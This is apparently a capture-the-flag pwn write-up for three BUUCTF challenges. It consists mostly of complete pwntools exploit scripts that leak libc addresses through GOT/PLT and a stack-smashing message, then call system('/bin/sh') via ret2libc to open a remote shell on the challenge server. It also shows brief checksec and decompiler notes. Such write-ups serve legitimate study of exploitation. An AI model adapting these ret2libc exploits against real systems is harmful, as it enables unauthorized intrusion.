from pwn import *name = "guess" elf = ELF(name) libc = ELF("libc-2.23.so" ) sh = 0 def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process(name) else : sh = remote(ip,port) payload = "A" *0x128 payload += p64(elf.got["read" ]) sh.sendlineafter("Please type your guessing flag\n" ,payload) sh.recvuntil('stack smashing detected ***: ' ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.sym["read" ] system = libc_base + libc.sym["system" ] environ = libc_base+libc.sym['__environ' ] info("libc base -> " +hex (libc_base)) info("libc_system -> " +hex (system)) info("__libc_environ -> " +hex (environ)) payload = "A" *0x128 payload += p64(environ) sh.sendlineafter("Please type your guessing flag\n" ,payload) en_list = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,'\x00' )) info("environ -> " +hex (en_list)) payload="A" *0x128 payload += p64(en_list-0x168 ) sh.sendlineafter("Please type your guessing flag\n" ,payload) sh.recvuntil("*** stack smashing detected ***: " ) print sh.recvline() if __name__ == '__main__' : main("node3.buuoj.cn" ,"26263" ,1 ,1 )
xdctf2015_pwn200
EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./bof" ) p = remote("node3.buuoj.cn" ,27377 ) write_got = elf.got["write" ] write_plt = elf.plt["write" ] main = elf.sym["main" ] payload = 'a' *(0x6c +4 ) payload += p32(write_plt)+p32(main) payload += p32(1 )+p32(write_got)+p32(4 ) p.recvuntil("Welcome to XDCTF2015~!\n" ) p.sendline(payload) leak_addr = u32(p.recvuntil('\xf7' )[-4 :]) libc = LibcSearcher("write" ,leak_addr) base = leak_addr-libc.dump("write" ) sys_addr = base+libc.dump("system" ) binsh = base+libc.dump("str_bin_sh" ) log.success("libc base=>%x" ,base) log.success("system addr=>%x" ,sys_addr) log.success("binsh=>%x" ,binsh) p.recvuntil("Welcome to XDCTF2015~!\n" ) payload = 'a' *(0x6c +4 ) payload += p32(sys_addr)+p32(main) payload += p32(binsh) p.sendline(payload) p.interactive()
铁人三项(第五赛区)_2018_rop
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vulnerable_function
ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x100 u); }
溢出+libc leak
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26402 ) elf = ELF("./2018_rop" ) libc = ELF("./libc-2.27.so" ) read_plt = elf.plt["read" ] read_got = elf.got["read" ] write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = elf.sym["main" ] payload = "a" *(0x88 +4 ) payload += p32(write_plt)+p32(main_addr) payload += p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) leak_addr = u32(p.recv(4 )) libc_base = leak_addr - libc.sym["write" ] sys_addr = libc_base + libc.sym["system" ] binsh = libc_base + libc.search('/bin/sh' ).next () log.info("libc base=>%x" ,libc_base) log.info("system addr=>%x" ,sys_addr) log.info("/bin/sh addr=>%x" ,binsh) payload = 'a' *(0x88 +4 ) payload += p32(sys_addr)+p32(main_addr) payload += p32(binsh) p.sendline(payload) p.interactive()